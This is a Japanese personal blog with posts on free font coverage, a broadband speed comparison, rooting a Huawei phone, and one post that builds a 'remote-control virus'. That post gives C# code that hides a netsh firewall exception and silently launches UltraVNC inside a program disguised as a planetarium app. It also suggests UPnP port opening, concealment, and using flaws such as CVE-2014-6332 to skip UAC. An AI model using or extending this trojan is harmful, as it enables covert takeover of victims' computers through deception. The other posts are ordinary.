全漢字をカバーできるフリーフォントを探す
全言語をカバーできるフリーフォントを探すの続き。別に見れなくて困っているわけじゃないけど、カバー率がどんなだか気になったので調べた。
候補
IPAフォント(独立行政法人 情報処理推進機構)
- 6.0MB(IPAPゴシック)
言わずと知れた定番日本語フリーフォント。定番すぎて空気のような存在。Ubuntuに搭載されているTakaoフォントもIPAフォントベース。
IPAexフォント(独立行政法人 情報処理推進機構)
- 5.8MB(IPAexゴシック)
日本語を固定幅、英語を可変幅にしたIPAフォント。搭載している文字は同じだと思っていたが…。
IPAmj明朝フォント(独立行政法人 情報処理推進機構)
- 44.0MB
細かい字形が違う字を搭載しているIPAフォント。地名や人名を専門的に扱う用途向けのフォントなので最強かと思われたが…。
M+ FONTS(M+ FONTS PROJECT)
- 3.1MB(Migu 1P Regular)
こちらも定番の日本語フリーフォント。IPAフォントよりもきれいなデザイン。収録文字数はIPAフォントより少ないが…。
※今回はIPAフォントとM+ FONTSの合成フォントのMiguフォントを使った。
Droid Sans Fallback(Google)
- 5.2MB(Droid Sans Fallback Full)
前回から続けて登場。Androidに搭載されているフォント。携帯端末で使うように設計されており、中国語フォントと韓国語フォントも搭載しているのに容量が小さい。日本語は中華フォントになるが今回は見なかったことにする。
Noto Sans CJK JP(Google)
- 18MB(NotoSansCJK-Regular)
前回から続けて登場。これと、Source Han Sans・源ノ角ゴシック(どちらもAdobe)は共同開発。
調査方法
対象文字
Wikipedia:表示できない文字の代替画像一覧 - Wikipedia・変体仮名 - Wikipediaなどからコンピュータでの表示が難しそうな文字を選んだ。対象文字は次の通り。
- 人名
- 草彅 高髙 崎﨑
- 中華フォントサンプル
- 直花
- 漢字
- 塚𡋽𥝱䯂龘䨺䳇䨻㐧𩵋𠔻𠵇𠯮
- 変体仮名
- ゟ𛀁𛀀
また、Unicodeの異字体セレクタ(後述)を使用する文字を選んだ。対象文字は次の通り。
- 葛芦餅邉
本来ならJIS規格やUnicodeのバージョンごとに文字を選ぶべきだった。
文字の出力方法
難しい文字はPython Pillowを用いて各フォントで対象文字を出力した。異字体セレクタはPython Pillowでは使用できなかったので、HTMLに出力しFirefoxで表示した。
異字体セレクタ
ほぼ同じ漢字だけど微妙に違う字を選択するためのUnicodeの符号(0xE0100・0xE0101など)。使い方は元の文字の後に特殊な文字を続けて入力する。異字体セレクタはAdobe-Japan1とHanyo-Denshiの2種類があり、互換性はない。Adobe-Japan1の方がよく使われている感じで、Wikipedia:表示できない文字の代替画像一覧 - WikipediaでもAdobe-Japan1のコードしかない。Hanyo-Denshiの方が異字体の種類が多い。
- 葛飾区の葛
- 0x845B
- 葛城市の葛
- Adobe-Japan1 … 0x845B, 0xE0100
- Hanyo-Denshi … 0x845B, 0xE0102
「高」と「髙」のようなよくある違いは、そもそも別々の文字コードが割り当てられているので異字体セレクタは必要ない。
結果
難しい漢字
難しい人名は全部のフォントで表示できた。これくらい表示できれば日常では困らないだろう。やはりというか、表示できる文字数はIPAmj明朝が一番多い。しかし、Noto Sans CJK JPにしか表示できない文字も1つあった。そしてM+ FONTSはなぜか変体仮名に強かった。Droid Sans Fallbackは中華フォントに目をつぶれば健闘している。IPAフォントとIPAexフォントは話にならない。
異体字
よーく見ないと違いがわからない。IPAmj明朝はHanyo-Densi、IPAexフォント・Noto Sans CJK JPはAdobe-Japan1しか対応していない。ほかのフォントは異体字に未対応。
結論
おすすめ
IPAmj明朝 + Noto Sans CJK JP + M+ FONTS
最も多くの字を表示できる
Noto Sans CJK JP
1つのフォントで多くの漢字が表示でき、異体字もOK。デザインもいい。
用途によってはおすすめ
IPAmj明朝
どうしてもきめ細かく異体字を区別したい。
Droid Sans Fallback
省容量かつ多くの漢字を1つのフォントで。実際のパッケージにはDroid Sans Japaneseも入っているので、中華フォントにはならないと思う。
まとめ
IPAはさすがの貫禄。そしてWindowsは最初から全部見れる。Microsoftには勝てねぇ。
付録:渡辺の辺のバリエーション一覧
続きを読む全言語をカバーできるフリーフォントを探す
別に見れなくて困っているわけじゃないけど、Wikipediaの他言語版のリンクが豆腐*1だらけなのはスッキリしない。
候補
以下のファイルサイズはArch Linuxでインストールしたときのもの。
Droid (Google)
- 15.31MiB
- CJKあり
Androidに搭載されているフォント。携帯端末で使うように設計されておりCJK (Chinese, Japanese, Korean) フォント搭載なのに容量が小さい。Androidが中華フォントになるのはほとんどこいつ (Droid Sans Fallback)のせい。
Noto (Google)
- 13.72MiB
- CJKなし
Googleが世界から表示できない文字を無くすために作っている。"No More Tofu" の略。CJKはない。
Noto Sans CJK (Google)
- 120.17MiB
- CJKフォント
NotoにCJKフォントを追加する。これと、Source Han Sans・源ノ角ゴシック (どちらもAdobe)は共同開発。品質はいいがサイズがでかい。
GNU FreeFont (GNU)
- 10.30MiB
- CJKなし
フリーソフトウェアの総本山GNUが作っているフォント。King Of フリー。CJKはない。
調査方法
言語の一覧は各言語版Wikipediaの一覧を利用した。
Arch Linuxのインストール直後から、次のフォントを追加した状態をデフォルトとする。
そこから候補のフォントを1つインストールして、表示されるようになった言語を記録する。
結果
- どのフォントでも見れなかったもの
- 彝語・ブギス語
- ꆇꉙ / ᨅᨔ ᨕᨘᨁᨗ
- DroidはCJK以外ショボかった。
- NotoでCJK・彝語・ブギス語以外で見れなかったもの
- ゴート語・古代協会スラヴ語・チェロキー語
- 𐌲𐌿𐍄𐌹𐍃𐌺 / словѣньскъ (ⰔⰎⰑⰂⰡⰐⰠⰔⰍⰟ) / ᏣᎳᎩ
- GNU FreeFontでCJK・彝語・ブギス語以外で見れなかったもの
- CJKはDroidとNoto Sans CJKのどちらかが必要
詳細な結果はこちらに用意しました。よろしければご覧ください。
結論
「3つ選ぶ」の2つの中からどっちかを選ぶのがベストでしょう。
3つ選ぶ
Droid + Noto + GNU FreeFont
- 彝語・ブギス語以外見れる
- できるだけ使う容量を少なくしたい人
Noto Sans CJK + Noto + GNU FreeFont
- 彝語・ブギス語以外見れる
- ついでに高品質な日本語フォントがほしい人
2つ選ぶ
Droid + GNU FreeFont
- ビルマ語・チベット語・ゾンカ語・クメール語・テルグ語・カンナダ語・彝語・ブギス語以外見れる
- 正教会の祭事を行うことがある人 (古代協会スラヴ語)
- チェロキー族の友達がアメリカにいる人 (チェロキー語)
Droid + Noto
Noto + GNU FreeFont
- 彝語・ブギス語・CJK以外見れる
- ぶっちゃけ中国語と韓国語はいらないという人
1つ選ぶ
Droid
- やっぱり中国語と韓国語は必要だという人
GNU FreeFont
- 正教会(ry
- チェロキー(ry
Noto
- インド人(ry
まとめ
Google強し。そしてWindowsは最初から全部見れる。Microsoftには勝てねぇ。
次回、全漢字をカバーできるフリーフォントを探す。乞うご期待。
付録:調査言語一覧
*1:表示できない文字が「□」で表示される
遠隔操作ウイルスを作る
盛大に名前負けしそうなタイトルをつけてしまったが、要は知らないうちにVNCサーバーを起動させるプログラム。
実験のために作ったものなので、絶対に悪用しないでください。まあ、今回は同僚にイタズラする程度しかできませんが。
被攻撃者にプラネタリウムアプリと思わせて起動させる。UACへの対処はしていないので、適当にOKを押してもらえることを願う。言語はC#、対応OSはXP以降、.NET Framework 4 Client Profileが必要。
Windows ファイアーウォールの例外にVNCを追加する
Windows ファイアーウォールはコマンドラインから設定可能。次のコマンドで、指定したプログラムが例外に追加される。
netsh firewall add allowedprogram program=<プログラムの場所> name=<適当な名前> mode=ENABLE
実際のプログラム例。
// ----- Add Firewall ----- Process process1 = new Process(); process1.StartInfo.FileName = "netsh"; process1.StartInfo.Arguments = "firewall add allowedprogram program=\"" + vncPath + "\" name=\"UltraVNC\" mode=ENABLE"; process1.StartInfo.Verb = "RunAs"; //管理者権限で実行 process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process1.Start(); process1.WaitForExit(); process1.Close();
実行時にUACが表示される。いかに適当にOKを押してはいけないかが分かる。
これだけだと、ローカルのネットワークからしかVNCでアクセスできない。外部からアクセスするにはUPnPなどでポートを開けるようにすれば良いと思う。
VNCの実行
ただ起動するだけ。ちなみにUltra VNCを使った。
// ----- Execute VNC ----- Process process2 = new Process(); process2.StartInfo.FileName = vncPath; process2.Start(); process2.Close();
Ultra VNCを使うとタスクバーにアイコンが表示されてしまう。できればライブラリを使ってVNCを自分で実装したほうがいい。
もっとウイルスらしくするには
- VNCのアイコンを出さない
上にも書いたが、ウイルスにVNCを機能として組み込むべき。そもそもVNCだと攻撃者がPCを操作していることがバレバレ。
自分を隠すようにする
UACを出さない
何らかの脆弱性を利用しなければならないが、Windows XPならサポートが終わっているし楽なのではないか。CVE-2014-6332が使えればリンクを踏んだだけで実行させられそうだ。
- 多機能にする
一世を風靡したiesys.exeはいろいろと便利な機能が付いているようだ。
Softbank光がOCNよりも遅い
地域や時期で速度が変わるので、あくまでも神奈川県の自宅で現在での話です。Softbankショップのねーちゃんが「OCNより早くなると思いますよ〜」と言っていたので、それは嘘ということになりました。光回線はベストエフォートだし事前にあまり調べないで契約したので、こちらに非がないわけではないが、ちょっとどうなのよ。
スピードテスト結果
2015年10月3日に http://www.speedtest.net/ で測定した。今はまだOCNの解約をしていないので、SoftbankとOCNのどちらにも接続できる。モデムの設定からOCNとSoftbankの切り替えを行ってそれぞれ測定したので、測定機器とローカルの通信経路は同一。
夜11時頃
OCN
左下に「Open Computer Network」とあるが、これはOCNを略さずに言ったもののようだ。ここではメチャメチャ早かったが、接続先を変えてるうちに20Mbpsくらいの結果に当たったこともあった。ちなみに200Mbps契約。
Softbank
左下に「Softbank BB Corp」とある。遅い。接続先を変えてるうちに20Mbpsくらいの結果に当たったこともあった。ちなみに1000Mbps契約。
夜12時頃
OCN
接続先を変えてもだいたいこのくらいの速度だった。
Softbank
12時ごろになると空いてきたようだ。接続先を変えてもだいたいこのくらいかちょっと遅い速度だった。
まとめ
完璧な対照実験にはどうしてもできないが、数字上ではSoftbankのほうが遅い結果だった。体感でも、1週間くらい使ってみてSoftbankのほうが遅かったり不安定だと思います。
Softbankを擁護すると、
Softbankは最近になって「光回線とスマホのセットで安くなる」という宣伝を盛んに行った結果、短い期間に利用者数が急増。それによりSoftbankがさばかなければならないデータ量が急激に増え、そのための設備の増強が追いついていないのだろう。このようなことは格安SIMでも起こっているらしい。
OCNは加入者数がNo.1だそうだが、その人数の割に合う設備を持っているから速度が維持されているのだろう。Softbankにも加入者数に見合った設備強化をしてほしいものだが、それはいつなのだろうか?そもそもする気はあるのだろうか?増強はよ
Huawei G620S を買った & Root取った
CaravanYU楽天店でSIMフリースマートホンのHuawei(ファーウェイ) G620Sが14,019円で売っていて、安い!と思って買いました。今は元の値段になってしまったようです。
日本市場向けSIMロックフリースマートフォン 『Ascend G620S』を12月中旬より発売 ミドルレンジのモデルを拡充|華為技術日本株式会社のプレスリリースより
画像がないと寂しいので載せときました。詳細なレビューやらは他所を当たってもらいたいと思いますが、自分の感想としては、「安い!デカイ!ちゃんと動く!」ですかね。ところで自分はHuaweiをフアウェイ、フアウェイと言っていたのですが、みなさんはどう読んでいるでしょうか。
さてこのG620Sですが、メモリが8GBしかなく(安いからしょうがない)、デフォルトの空き容量になると4Gもないくらいになります。なのでプリインストールのアプリなどを消すためにRoot化してみようと思います。(最終的に消せませんでした)
注意:以下の方法は一歩間違えればスマホを壊す可能性があります。もしあなたが実際にやる場合は自己責任で行ってください。またAndroidのカスタマイズ経験がないとわからないような書き方をしているので、何をしてるかわからない場合はやらないでください。
まず、fastbootとadbが使えるようにしておく。
ブートローダーのアンロックコードの入手
http://forum.xda-developers.com/showpost.php?p=61019456&postcount=2, http://forum.xda-developers.com/showpost.php?p=60959497&postcount=10の抄訳。リンクはこれらのページから探してください。(よく見ると文中の型番に"G620S-L01"とありましたが、自分の持ってる箱には"G620S-L02"と書いてありました。結果的にはうまく行きましたが。)
方法2は、やってないので以下は方法1での話です。
3.のサイトに行き「同意します」的な画面を進むとログイン画面なります。そうです、会員登録が必要なのです。中国語はあんまりにもあれなので右上のところからEnglishに変更し頑張って会員登録します。
3.のサイトは現在は2.のIDがいらないようで(英語版サイトではなぜか必要)Huawei Product ID Generatorは不要でした。怪しげなソフトなので使わないに越したことはない。サイトにいろいろ打ってボタンを押すとブートローダーのアンロックコードが表示される。
ブートローダーのアンロック
参照: http://emui.huawei.com/en/plugin.php?id=unlock&mod=step
※アンロック後に端末がフォーマットされるので注意。
G620S本体をボリューム下を押しながら電源を入れfastbootモードにする。そこで
# fastboot oem unlock <アンロックコード>
でブートローダがアンロックされ、フォーマットが始まる
Root化
自分の場合、Root化は
一時的にTWRPリカバリを実行する -> suバイナリを書き込む
の手順で行いました。一時的にカスタムリカバリを実行するのは、オリジナルのを潰すとアップデートがうまく行かなくなると思うので。
まず、suバイナリのzipをhttp://forum.xda-developers.com/showthread.php?t=2177206から入手する。このsuperuser.zipを内部ストレージに入れておく。(はじめはSuperSUを入れてみたが、特権昇格のプロンプトが何故か表示されないのでCrockworkModのSuperuserにした。たぶん問題ないはず。)
次に、リカバリイメージをhttp://forum.xda-developers.com/android/development/twrp-t3120744から入手する。端末をfastbootモードにして、
# fastboot boot openrecovery-twrp-2.8.6.0.img
でリカバリを実行。(ここでfastboot flash recoveryとするとリカバリが書き込まれますが、むやみにやらないほうがいいんじゃないかな?)
リカバリが実行できたら先ほどのsuperuser.zipを書き込む。その前に全体のバックアップをしておいたほうがいいかも。
再起動すれば、無事Root化完成。